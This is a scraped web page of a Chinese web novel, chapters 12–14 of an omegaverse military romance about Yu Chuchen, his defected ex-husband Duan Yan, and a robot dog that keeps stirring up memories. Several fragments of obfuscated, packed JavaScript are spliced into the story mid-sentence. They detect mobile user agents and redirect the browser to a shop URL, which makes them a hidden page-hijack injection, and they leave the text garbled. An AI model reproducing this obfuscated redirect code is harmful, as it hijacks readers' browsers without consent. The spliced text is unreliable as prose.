0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547394|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。 喻初晨接过移动光脑,快速扫过上边的字,眉头一皱,骂道:“才扣这么点分,还没有上次你打他造谣的时候扣的分多呢。” 骂起藤原翔太,喻初晨是连刚刚经历过发情期也忘记了,只管咬牙切齿地骂这个混蛋。 “别生气了,上次你不还拿着录音去行政大楼找军校高层理论,帮我取消了处分决定吗,四舍五入也是没扣分了。”段言怕喻初晨刚刚精力发情期,不好有太大的情绪波动,连忙安慰。 “那是因为证据确凿,他们没办法包庇藤原翔太,只好把对你的处分收回了。”喻初晨提起这个,没好气地说。 “别气别气,气坏自己藤原翔太得意。”段言看着喻初晨这副模样,顺了顺他的背,一时间也忘记生藤原翔太的气了,只顾着安抚他。 “唉,联邦就是这样。”喻初晨被段言的话逗笑,随后叹了口气,感慨了一句,摇摇头,“不说这个了,说了生气。” 段言点点头,没有接话,只突然变得沉默。 喻初晨还以为段言是还在想刚刚他们讨论的事情,便想着出声安慰一番。 谁知喻初晨还没开口呢,就看见段言抬起头认真地看向他。 “我以后得多带几支抑制剂在身上。”段言突然来了这么一句,语气和神情还那样认真。 “诶?”喻初晨听得一愣,一时间也没反应过来。 “如果下次你身上带的抑制剂再被人破坏,就不用再担心没有抑制剂用了。”段言看着喻初晨不解的神情,对他解释道。 “这样也好,你果然很细心啊,阿言,想得比我周到多了。”喻初晨笑得眯起眼,夸了段言一番。 段言被喻初晨夸得有些脸红,摸了摸鼻子,扯了扯嘴角露出一个笑容。 稍微缓了一会儿,他才又一次认真看向喻初晨,继续说起刚刚的话题。 “总之,今天这样的事情,不能再发生第二次了。”段言看向喻初晨的目光十分认真,有着莫名的感染力,让原本微笑着的喻初晨都严肃起来。 “不会有第二次了,我以后都会很注意的。”喻初晨点点头,拍拍段言的手背说了这话,他知道今天的事情实在是吓着段言了。 “我们已经临时标记两次了,晨。”段言总觉得喻初晨没懂他的意思,便直接解释,“医生说了,毫无后续影响的临时标记只会有三次。如果这种事再发生一次,我再对你临时标记的话,你就会彻底开始依赖我了。” 喻初晨当然明白这些,但他看着段言紧绷的模样,也不想让对方总感觉到压力。 于是,喻初晨看着紧张不已的段言,眯起眼笑了笑,对他说:“阿言,我还不够依赖你吗?” 听见这话,段言微微瞪大眼,愣在了原地。 段言愣愣地看着前方,眼前的光脑屏幕上正显示着与喻初晨有关的新闻。 新闻的标题是这样写的。 曾经的联邦双子星重聚?联邦档案局局长喻初晨加入谈判团,即将远赴帝国谈判。 12.Chapter 12 段言从叶玥的塔利亚宫回来之后,就一直想起过去的事情。 这难免让他有些不舒服,总觉得心口堵了一颗大石头。 会有这样的反应,倒不是段言害怕想起从前。 他不怕想起喻初晨,也不怕与这位旧情人重逢。 但有人这般刻意揭开他的伤疤,想拿过去的事情来刺激他,他当然也不会让对方好过。 段言神情冷冷,抬眸看向前往,抬手往桌上的移动光脑摸去。 他通过内线,接通了朴勇俊的移动光脑。 “你去安排,让叶玥吃点苦头。” “让她记得……管住自己的嘴巴。” 那日,喻初晨答应加入谈判团,从军部大楼离开之后,又断断续续到军部大楼去过几次。 基本都是因为谈判团的事宜,有些议会通过的文件,需要他先行熟悉。 这期间也偶尔有几次,是军部常务委员会的仇文大将和陈素上将请喻初晨过去谈话。 一开始仇文和陈素都只是说聊聊谈判团的事情,或是说关心关心喻初晨这个下属,可是每次谈话到了中途,他们总是会不经意提起段言,将话题拐到喻初晨和段言二人的过往上边去。 今天的这次谈话,又是如此。 军部大楼五号会议室内,仇文和陈素两个人并肩坐在桌前,脸上带着状若关心的微笑,正看着眼前的喻初晨。 就在刚刚,仇文和陈素两个人又一次在谈话中状若不经意地提起了段言。 语气神态都满是关心,倒像是真的关心喻初晨是否能从段言叛逃这件事走出来一样。 可是,段言叛逃的事情已经过去了三年。 这三年里,除了刚开始喻初晨洗掉标记的时候,仇文和陈素还去过医院几次。 之后军部没有再提起过这件事,更没有关心过喻初晨本人。 现在喻初晨要作为谈判团成员前往帝国谈判,仇文和陈素一个军部一把手一个军部二把手,却一反常态地三天两头找喻初晨谈话,关心他在叛逃这件事上的心情如何。 事出反常必有妖,喻初晨怎么可能不知道。 他自己仔细一琢磨,也没觉得原因有多难猜,想来应当就是仇文和陈素不得不让他去帝国谈判,但又不放心他。 生怕喻初晨与段言勾结,昔日的双子星再次联合,打联邦一个措手不及。 有这样的顾虑,可以理解。 但喻初晨真的不想一而再再而三听军部的人提起段言了。 而且每次都是……用这种怜悯的表情,好像很可怜他一般。 喻初晨不喜欢这样的感觉,而且不断因外人提起往事而被迫陷入回忆,也让他头疼不已。 是身体上的、生理上的不适感,并不是说“哇我觉得很头疼”这样的形容。 而且,并不是说只有这一次谈话,喻初晨才觉得身体不适。 每一次,每一次。 每一次与仇文和陈素的谈话,最后都会让喻初晨不舒服。 喻初晨强迫自己不去想段言,控制着自己的身体不要发抖得太明显。 他垂眸看着自己同样发抖的双手,没有看仇文和陈素,声音闷闷地说:“我不会背叛联邦的。” 仇文和陈素一怔,他们倒是没想到喻初晨会突然说起这个。 二人对视一眼,交换了一个眼神,不约而同看向喻初晨,安静地等待他接下来的话。 “我和他……我们已经决裂了,我不会因为跟他曾经有婚姻关系就跟着他叛变的,军部不必因为担心这件事而一直找我谈话。”喻初晨本来不愿意提起过往,说这些话的时候仿佛刀子扎在自己身上。 喻初晨说完这些话,犹豫了片刻,还是忍不住。 他语气不善地说:“如果我想跟着他叛变,三年前是最好的机会,不会拖到现在。” 仇文和陈素两个人的神情没有任何变化,仍是意味深长地笑着,目光停留在喻初晨身上。 那种眼神,喻初晨有些看不懂。 “军部绝没有怀疑你的忠诚,喻少将。”仇文微笑着说了这话。 “只是我和仇文大将个人对你的关心。我们知道你要到帝国去谈判,想到你和段言的关系,怕你到了之后见到他会有些不自在。”陈素的语气比仇文要温和一些,他伸出手来,掌心向下压了压,做了个安心的动作。 听了仇文和陈素的这些话,喻初晨反倒没有放松下来。 以他对联邦高层的了解,仇文和陈素的解释根本说不通,甚至可以说更加反常。 仇文和陈素两个人在联邦高层的尔虞我诈中待了这么多年,当然是一眼就看出喻初晨的迟疑。 “你不要紧张,我们的担心是有道理的。”仇文示意喻初晨放松一些,才继续解释,“你的生理课看来没有好好上,即便Omega洗掉标记,但在之后见到自己曾经的Alpha,多数还是会失控的。” 喻初晨一怔,仔细思索之下,觉得仇文这个理由倒还比较说得通。 但他还是很难相信联邦高层的人,所以他仍旧保持警惕。 “如果你需要心理疏导,在出发之前,军部可以帮你安排。”陈素见喻初晨没有反应,便顺着仇文的话往下说。 喻初晨没有回答,他垂眸思索着仇文和陈素所说的话,思考这其中有几分是真的。 但他实在有些分不清,且刚才他们总是反复提起段言,让他有些不舒服,便索性沉默不语。 那日,喻初晨的不适感持续了很久,一直到离开军部大楼都没能缓过来。 坐在回家的车上,喻初晨清晰地感觉到。 他因为仇文和陈素的那些话影响,又一次想起了段言。 过往的一切如同烙印,深深印刻在他的灵魂之上。 只要有人轻飘飘将遮掩往事的布掀起一个小角,喻初晨就会不自觉想起从前。 喻初晨忍受着回忆往事引起的不适感,强撑着回到家里,又强撑着打开冰箱,倒了一杯冰水喝下。 他试图用这种方式压下身体的异样,是的,在进入家门的一瞬间,他清晰地感觉到身体的不适感增添了几分与之不同的异样。 不像是PTSD(创伤后应激障碍)的躯体化反应,倒像是……进入发情期了。 “该死……” 喻初晨将杯子随手放在桌上,双手撑着桌面,强忍着身体的不适感,试图让身体稍微稍微缓一缓。 自从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549735|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段言叛逃之后,喻初晨强行洗掉标记。 身体就仿佛惩罚他一般,每次进入发情期的时候,即便打了抑制剂,也只是压制住发情的状态,对身体的折磨依旧没有消失。 喻初晨手上拿着打完的抑制剂,无力地坐在沙发边上。 他没有闭上眼睛,而是看着眼前的陈设,不受控地开始想。 也许是因为发情期吧,Omega本能的反应,让他想起与曾经的Alpha有关的一切。 如同走马灯一般,脑中闪过无数回忆。 “这个仇文,想让我进谈判团直说不就好了,非得说那么多,害得我……总想起他。” “明明已经……已经很久没有想起从前的事了。” 这三年来,喻初晨总是强迫自己不去想。 他找了许多事去做,军部不给他派活,他就自己找点别的事情,总是忙碌起来,就不会去想。 现在喻初晨又不自觉想了起来。他只能强迫自己不去想。 他告诉自己,当时闹得难看,还想这些做什么呢? 可有些事情,并不是喻初晨自己能控制的。 从前的点点滴滴,已经渗透进生活中的每一个地方。 喻初晨瞥了一眼身后靠着的沙发,在这里……曾经段言总是抱着他看电视,或是美其名曰学习。 喻初晨目光移向不远处的餐桌,以前段言隔三差五的,就会把他放在餐桌上,让他看着头顶的灯。 喻初晨又看向封闭阳台的落地窗前,印象里段言有时候挺恶劣的,会把这个玻璃调成当面,在阳台抱着他,听着他明知外面看不见,却仍旧害怕得发抖的声音。 但感情浓时,这些事情都是双方乐意,增添情趣的一些小恶作剧。 如今想来,也只剩下一声声自嘲的冷笑。 喻初晨收回目光,又看见眼前的地毯。 这块地毯,还是段言特意买的。 那时候,段言贴在喻初晨耳边说。 “这样膝盖就不会疼了。” 段言带着蛊惑的声音,仿佛还环绕在喻初晨的耳边,被对方从背后抱着的触感,也仿佛还留在喻初晨身上。 喻初晨痛苦地闭上眼,他是半点都不愿意回忆起从前的点滴。 也许他应该把房子换掉,重新买一套居住。 可他就是自虐一般留在这里。 喻初晨闭着眼睛,在地上坐了很久,久到忘记了时间。 终于,喻初晨缓过神来,忍受着身体的不适感,睁开眼睛,站起身来。 “得找点事做。” 喻初晨嘴里念叨着。 “忙起来,忙起来才不会想。” 喻初晨喃喃着。 “收拾行李吧,过几天就要去帝国了。” 喻初晨忙碌起来,往房间里走去,准备从衣服开始收拾。 而就是这个时候,原本躲在角落的机器狗跑了出来,殷勤地跟在喻初晨的身边帮起忙来。 帮忙的中途,机器狗又撒娇一般绕着喻初晨转圈。 喻初晨动作一顿,呆呆地转头看了机器狗一眼,猛地蹲下来,双手捂住脸。 机器狗看着喻初晨的模样,不解地歪了歪头。 13.Chapter 13 联邦军校在军校生入学的第四年后,会为军校生们分配毕业后的去向。 毕业分配的结果和二年级专业分配的结果差不多,都是要求所有四年级军校生一起到联邦军校行政大楼去。 区别是二年级专业分配的结果是把纸质名单贴在公告栏上,等学生自己过来看。 四年级毕业分配的结果是让军校生们在行政大楼里干等着,等待老师宣布结果。 “他们明明可以把分配结果发到每个人的移动光脑,非得把所有人召集到行政大楼等着他们宣布结果。”尤里站在邵星身边,双手抱臂,不满地抱怨了一句。 “之前哪次不是这样,公布成绩也好,专业、班级分配,回回都这样。”喻初晨虽说心底也有些不满,但四年来也已经习惯联邦军校的行事风格。 “反正我们行李都收拾好了,就当在这里聊会天了。”段言耸耸肩,站在喻初晨身边无所谓地说着。 “你们说我们会分到哪里去?一般来说同个宿舍分差不是非常大的,应该会被分到同一个星系的星球吧?”邵星见大家脸上都有些不满,主动讨论起分配结果来。 “说不定在一个星球呢,我和邵星的成绩算是中上,段言和初晨的成绩拔尖,如果按照最高和中等混搭分配的话,我们一个宿舍分在一起的可能性还是很高的。”尤里略一思索,分析了起来。 “尤里说得有道理,我听说往年是有这种分配的方式的。”喻初晨听了尤里的话,回忆了一番以往联邦军校对毕业分配的安排,与身旁的段言对视一眼,见对方也赞同地点点头,露出笑容。 “那真是太好了!”邵星特别高兴,他对毕业分配唯一的期望就是能把他们四个分到一起去,至少能离得近一些也好。 邵星的情绪感染了其他三人,喻初晨和段言、尤里三人也都放松了不少。 “那你们说我们会分去哪里?芬德利星?乌尔夫星?洛塔尔星?”邵星已经默认他们会分配到一起,满脸兴奋地猜测起来。 “这三个都是好地方,能分过去吗?”尤里不想破坏邵星的好心情,但他不太相信联邦军校会把他们几个分过去,而且这三个也不像缺人的样子,并不是每一个星球都会接收联邦军校的军校生。 “不是按成绩分吗?段言和初晨的成绩那么好,肯定是分去好的星球吧?”邵星面露不解,看着尤里问。 “我们哪有这么好的待遇呀,邵星你想多了。”喻初晨笑着摇摇头,看着眼前仍是不解的邵星。 “就我们四个人的出身,最好的结果就是打包一起分去普通的星球。”段言终于加入了他们的讨论,一开口是阴阳怪气的语气。 提起出身,邵星终于明白他们三个人的意思,恍然大悟地点点头。 也正是这个时候,宣布分配结果的老师终于喊到他们四个人的名字。 “喻初晨、段言、尤里、邵星四人一组,分配至埃马努埃莱星。” 联邦军校的毕业分配并不是分配到驻地后就万事大吉的,分配之后还有考核期,需要按组、按个人去考核他们的表现。 而每一个组都会由联邦军校指定一个军校生为小组长,以负责四人组的任何问题,包括考核。 联邦军校除了看出身,最喜欢看的就是成绩,所以他们这个四人组的小组长,选择了成绩最好,又是普通家庭出身的喻初晨。 选出小组长之后,便要将档案交到小组长的手上,由小组长将档案一同带到驻地去交给档案科。 当然,以联邦军校的习惯,档案依旧是纸质的。 喻初晨跟着同一批到埃马努埃莱星的其他小组长一起去取了档案回来,手上拿着四个人的档案,随手翻了翻,看见档案上段言的生日。 四月二十? 这不是跟他同一天吗? 喻初晨惊喜地瞪大眼,把手中翻看的档案重新叠好,加快脚步往段言三人身边走去。 段言的生日跟喻初晨是同一天,这点他是真的没想到。 到军校之后,因为学业忙碌,他没有再过过生日,所以一直也没有给他们发现的机会。 段言又是孤儿院出身,说不定连生日是哪一天都不知道,他也不好意思多问,唯恐揭段言的伤疤。 谁知道今天在档案上看见了这个日期,他们竟然是同一天。 “阿言。”喻初晨小跑着冲到段言身边,拉着他的手臂停下来,眼睛亮亮地问,“你也是四月二十生日吗?” “怎么了?”段言很少碰到有人问起他的生日,一时间也没注意到喻初晨口中的那个也字,只不解地问。 “我们同一天耶!”喻初晨特别高兴,拿起两人的档案,递给段言看。 段言一怔,他接过二人的档案看了看,发现确实是同一天。 但这个日期是孤儿院工作人员捡到他的日期,并不能确定到底是不是他的生日。 可喻初晨这样高兴…… 段言迟疑片刻,决定还是把孤儿院工作人员捡到他的日期当做是自己的生日。 “是,我也是四月二十生日。” 段言看着喻初晨那双紫色的眼睛,点了点头。 拿到档案之后,喻初晨他们也没有耽搁,带着早就收拾好的行李,上了联邦军校安排的飞船,前往埃马努埃莱星驻地。 驻地的宿舍是两人一间,喻初晨他们商量之后,决定还是如同在联邦军校的宿舍一样,喻初晨和段言一间,尤里和邵星一间。 决定好宿舍如何分配之后,喻初晨将宿舍安排报告给了驻地宿舍管理员,又让段言带着他们的行李先到宿舍去,他先去把四人的档案给交了。 当了小组长后,确实会有些忙,分开的时间比以前多了。 段言垂眸答应下来,并未有什么怨言,带着二人的行李往宿舍的方向而去。 喻初晨交完档案之后,回到驻地宿舍,按着移动光脑上面记录下来的宿舍号码一间间找过去。 “262……263……264,找到了!” 喻初晨在264号宿舍门口停住脚步,往旁边的265看了一眼,认了个门。 他和段言住在264,邵星和尤里住在265,刚好是隔壁,仿佛跟就读联邦军校的时候没有分别。 想到这一点,喻初晨心里就十分高兴。 他就喜欢这样平平淡淡的,关系很好的四个人一直待在一起,不需要晋升得多厉害,就这样普通地过下去,一直到退伍,就很好了。 这样想着,喻初晨推开264号宿舍的门,人还没进去,就看见一只机器狗朝他扑了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551745|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我去,什么东西!”喻初晨吓了一跳,蹲下身抱着撒娇粘人的机器狗摸了摸脑袋,抬眸朝宿舍内的段言看去,好奇地问,“阿言,这机器狗哪来的?” “生日快乐。”段言没有解释,而是站在原地,笑着对喻初晨说。 “诶?”喻初晨一怔,拿起移动光脑看了一眼日期,看见上面显示的四月二十日,顿时恍然大悟,“原来今天是我们生日。” 喻初晨反应过来后,立刻把机器狗往地上一放,跑过去抱住段言。 “你也生日快乐!”喻初晨紧紧抱着段言,一边笑一边说。 “我们生日快乐。”段言同样抱紧喻初晨,感受着他笑得发颤的肩背,脸上笑容更深了几分。 机器狗也跟到二人身边,歪着头看看段言,又看看喻初晨。 虽然不理解,但也跟着高兴起来,绕着二人转起圈。 驻军与联邦军校相比,只有保密这一块会更为严格,其余的像宿舍管理这类,都比联邦军校要宽松不少,至少机器人是可以用的。 但是喻初晨也没想到,段言会在他生日这天买机器狗送给他。 “这机器狗挺贵的吧?这看着还是最新款的,你哪来这么多钱?”喻初晨满脸惊讶,心中实在好奇,忍不住问。 “就是……打工啊,打零工赚了不少呢。”段言摸了摸鼻子,眼神有些飘忽,往旁边看去。 “联邦管控那么严,你打黑工得赚多少活才买得起这个啊!”喻初晨见段言这个反应,便猜到肯定是一些危险的零工,顿时心疼起来。 段言一时间不知道该说什么,迟疑片刻后正要说话,可一抬眸却看见喻初晨握紧拳头伸手递在他面前。 这是做什么? 要揍他一顿吗? 段言一怔,微微瞪大眼,却看见喻初晨一张手,一枚坠着紫宝石吊坠的项链掉了下来。 “生日快乐,送你的礼物,里面有芯片,能当储物袋用。”喻初晨笑得眯起眼,往前又递了递。 “我们都生日快乐。”段言惊喜地抬起头,目光从紫宝石吊坠移向喻初晨的紫色眼睛。 说完这话,段言就想接过紫宝石项链,却被喻初晨避开。 喻初晨上前一步,亲手为段言戴上,调整了一下位置,上下打量一番,才满意地点点头,说:“紫色特别适合你。” 段言看着喻初晨的眼睛,突然说:“像你的眼睛一样。” 喻初晨一怔,抬眸看向段言,笑出声来,说:“对。” 机器狗看见二人高兴的样子,也高兴地跑到喻初晨脚边去,蹭了蹭他的腿。 蹭完之后,机器狗又绕着喻初晨跑了一圈,停下来歪着头看他。 喻初晨的目光停留在歪头看着自己的机器狗身上,朝它伸出手去。 机器狗也乖巧地凑上来,他摸了摸它的脑袋,垂下眼眸,自嘲地笑了笑。 他怎么就自虐一样非得留在这套房子里呢? 这里的每一个地方、每一样东西,都能让他想起从前。 有时候他都怀疑,自己是不是还想着段言。 不过,勾起回忆的也不止是这套房子。 有时候下起雨来,喻初晨还会想起那场大雨。 他们第一次临时标记时的那场大雨。 14.Chapter 14 喻初晨抬起手,一掌捂住自己的眼睛,无奈地靠着衣柜跌坐在地上,后仰着靠到衣柜上边,整个人又开始发起抖来。 机器狗感觉到喻初晨的情绪变化,上前讨好地蹭了蹭喻初晨的手,又带着安抚意味拱了拱他的身体。 这一次,喻初晨没有触碰机器狗,而是伸手将身旁的机器狗拨开。 机器狗见状,有些失落地走开,灰溜溜地往门口挪去。 但是它离开的步子很慢很慢,不像是真的准备离开,而是等着喻初晨挽留它。 喻初晨把遮住眼睛的手放下时,看见的便是这一幕。 他看着停在门口频频回头的机器狗,叹了口气。 他朝人工智能发什么脾气。 “小言。” 喊出这个名字的瞬间,喻初晨自己愣住了。 “小言,就叫这个名字吧。”喻初晨蹲在地上,看着眼前正高兴得直转圈的机器狗,对身旁的段言说。 “为什么叫这个名字?”段言挑眉,他还没笨到听不出这个小言的言是段言的言,有些好奇地看向喻初晨,想听听对方的答案。 “是你送的,用你的名字也很正常吧?”喻初晨给出的答案很简单,语气还带了几分理所当然的感觉。 段言听见喻初晨的答案,明显怔了一下,瞧着脸上的表情对这个答案并不是很满意。 喻初晨看着身旁的段言,也不知道为什么,就是有这种感觉。 “好,就叫这个吧。”段言迟疑片刻,也没说什么,点了点头赞同了喻初晨的提议。 “既然这次一起过生日了,那以后也一起过吧。”喻初晨见段言答应了这个起名的提议,便得寸进尺一般,开始提出其他要求。 说完这话之后,喻初晨一直盯着段言看,生怕错过对方一丝一毫的表情变化。 段言会答应吗?他心里隐隐有些不确定。 “你的生日……不跟家人过吗?”段言有些迟疑地问,红色的眼睛里染上几分惊讶。 “在驻地就一起过嘛。”喻初晨笑笑,调整了一个更加放松的姿势坐在地上。 “休假的时候再跟家人过吗?”段言接上话,眼神在自己都没察觉到的时候带上几分期待。 “休假了我就带你回家过生日!”喻初晨笑着拍了段言的肩膀一下,他大约也看出段言的那点期待,便直接说。 段言并没有立刻表现出高兴的模样,而是愣了一下,惊讶地看着喻初晨,随后才露出笑容,搂住对方的肩膀,笑着答应下来。 如果时间一直停留在那一刻该多好。 喻初晨愣愣地看着的机器狗,就因为他刚刚看了过去,又喊了小言这个名字。 机器狗高兴地跑了回来,正在他的身边跑来跑去。 他没有对机器狗多说什么,而是站了起来。 “得找点事做。” 喻初晨嘴里边喃喃着,又一次忙碌了起来。 他开始收拾东西,在柜子里翻找着,看看有什么是出远门需要随身带着的东西,又有什么是出行必须带上的东西。 “联邦是战败国,到了帝国肯定会被刁难,谈判过程肯定也不顺利,不知道要拖多久……” “该带上的都得带上。” 喻初晨一边翻东西一边说着这些话,从房间的柜子一路翻找,一路翻找到衣帽间去。 其实他的翻找都没有什么目的,嘴上说着为了收拾行李,其实收拾行李这件事是一点进度都没有的。 喻初晨只是给自己找点事做,让自己不去想,不要想。 可这套房子的每一块地方,都是段言和喻初晨的点点滴滴,无论他有多么想回避,都是没有用的。 衣帽间有一面墙,那是段言精心布置的礼物柜子。 里面放着的,都是喻初晨和喻初晨的家人送给他的礼物。 这个礼物柜子是透明的,只要喻初晨靠近就能看到里边放的东西。 比如最显眼的地方,是一个空着的项链架子。 这里虽然大部分时候都是空着的,但原本是挂着紫宝石项链的。 只是这条紫宝石项链多数时候都被段言随身戴着,想来叛逃的时候也一并让他带走了。 喻初晨盯着眼前空荡荡的项链架子,自嘲地笑笑,说:“肯定早就扔掉了吧。” 念叨着这话,喻初晨抬眸看见上面一层的一个手环,愣在了原地,呆呆地盯着这个手环。 喻初晨记得,这个手环还是他爸爸、妈妈送给段言的见面礼。 “你跟叔叔阿姨说过没有?别突然带我回去让他们困扰了才是。”段言紧张地看着眼前的喻初晨,他的手现在被对方抓在手里,正被带着往前走。 “说过的,你别紧张嘛!”喻初晨说着,回头看了段言一眼,见他浑身紧绷的样子,调侃一句,“阿言,你考核的时候都没这么紧张吧。” “去你家里当然要担心啊!何况你小子不就是想看我这样吗?”段言笑骂着,看着明显笑得肩膀微颤的喻初晨,跟上他的脚步。 “好啦好啦,别紧张了,马上到了。”喻初晨回头说了这话,拉着段言在家门口站定。 段言没有回答,他更加紧张,站在喻初晨身边浑身紧绷着,可以说就算是上峰下来检查,他都没有这么紧张。 喻初晨按了门铃之后,门从里面被人打开。 喻初晨的父母,喻春生和蔡珍同时出现在了门后,二人都笑眯眯地看着段言。 “哎呀,这就是小言吧?经常听小晨提起你,快进来吧!”蔡振让开一侧的门,好让喻初晨和段言进来,热情地朝段言招手。 “阿姨好,叔叔好。”段言礼貌地朝喻春生和蔡珍打招呼,乖巧地跟在喻初晨身边进门。 “别拘束,好孩子,就当是自己家里。”喻春生笑呵呵地看着段言,满眼都是对儿子带朋友回来这件事的高兴。 段言和喻初晨进了家门之后,又坐在沙发上跟喻初晨的父母寒暄了一番,回答点父母辈爱问的问题,便到饭桌上去吃午饭了。 吃午饭的时候,喻初晨的父母一直在给段言夹菜,对他可谓是嘘寒问暖的。 在来之前,喻初晨先跟父母通过气,大概把段言的情况提前告诉父母,以免他们到时候问错什么话。 又怕段言不自在,提前叮嘱父母不要在对方面前表现出来。 当时喻初晨的父母对段言是孤儿这件事是十分同情的,喻初晨就怕他们在段言面前表现出来。 结果现在倒是没有表现出同情,却有些太过关心了。 喻初晨偷偷朝段言的方向看了一眼,见他还挺适应的,并未察觉其中的端倪,这才松了口气。 这样的特别关心,一直持续到了吃完饭之后,他们四个人坐在沙发上看电视。 喻春生突然走开了一会,回来的时候手上拿了一个全新的手环。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553643|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他在段言身边坐下,将还未拆封的手环递给对方。 “小言,这是叔叔阿姨送你的见面礼。”喻春生将手环递给段言,笑着说。 “我不能收。”段言惊讶地瞪大眼,连忙摆手拒绝。 “爸妈,军部给我们每个人都配备了手环的,这个八成用不上呢。”喻初晨看见手环一惊,出声提醒。 “哎呀,早知道先问问你了。”喻春生憨厚地笑着,与身旁的蔡珍对视一眼,耸耸肩,“又搞砸了。” 段言见状,伸手接过手环,看着惊讶的喻春生和蔡珍。 他露出笑容,说:“外出的时候也可以换这个,也不是说每时每刻都得戴着军部的手环。” 见段言手下手环,喻初晨的父母才又高兴起来,拉着段言聊了许多话。 “小晨还没带过朋友回家呢!” “晨的人缘很好的,原来第一次带朋友回家吗?” “对呀对呀,你是第一个被他带回家的,可稀奇了!” 喻初晨没有说话,他只坐在旁边看着,看着段言和他的父母你一言我一语地聊天。 喻初晨记得,他的父母都很喜欢段言。 后来他们公开恋情,他的父母也同样支持。 喻初晨记得,婚礼上父母发自内心的笑容。 谁知道,之后会发生那样的事。 喻初晨自嘲地笑笑,转身走开,没有再看这面礼物柜子一眼。 谈判团出发之前,仇文突然说让喻初晨到军部大楼再去一趟。 也不知道究竟是为了什么事。 喻初晨心里直犯嘀咕,前几次他到军部大楼都被仇文和陈素揭伤疤,搞得他都有点阴影了,对去军部大楼这件事开始有点抗拒。 但他作为谈判团的一员,许多事情还是不得不去做,万一这次喊他过去是为了谈判团的事呢。 喻初晨来到仇文的办公室前,推开门走了进去。 “来了。”仇文正坐在办公桌前看文件,听见动静抬起头一看,见是喻初晨来了,露出笑容。 “仇文大将。”喻初晨敬了个礼,这才抬脚往前走去,在仇文的办公桌前站定。 “我给你打了晋升报告,让你再往上挪一挪。”仇文推了一下金丝眼镜,勾唇笑着,“中将,不过授衔要等回来之后。” 晋升? 喻初晨有些意外,他原本还以为,以军部对他的猜疑,是肯定不会让他再进一步的。 “多谢仇文大将。”喻初晨不会说漂亮话,压下心底的那点异样,低头感谢了对方一番。 “还有一件事,我想对你说抱歉。”仇文露出为难的神情,叹了口气,“以你的军衔,是应该担任谈判团的团长的。但由于你和段言的关系,联邦常务委员会讨论决定,让威尔弗雷德准将担任谈判团团长,你……只是随行协助。” “我不在意这些的。”喻初晨脸上的表情没有任何变化,但也大约猜到晋升的原因。 “不用硬撑,初晨,你如果心有不满,可以向军部提要求。”仇文露出怜悯的表情,微笑地看着喻初晨。 “你让常务委员会放一百个心吧,我早就不在乎这些了。”喻初晨即便不在意,也不乐意一再解释,他皱起眉来,看着仇文说出这话,“如果没什么事,我就先回去了。” 仇文叹了口气,看着喻初晨欲言又止的。 最后他什么都没说,只摆摆手让喻初晨离开。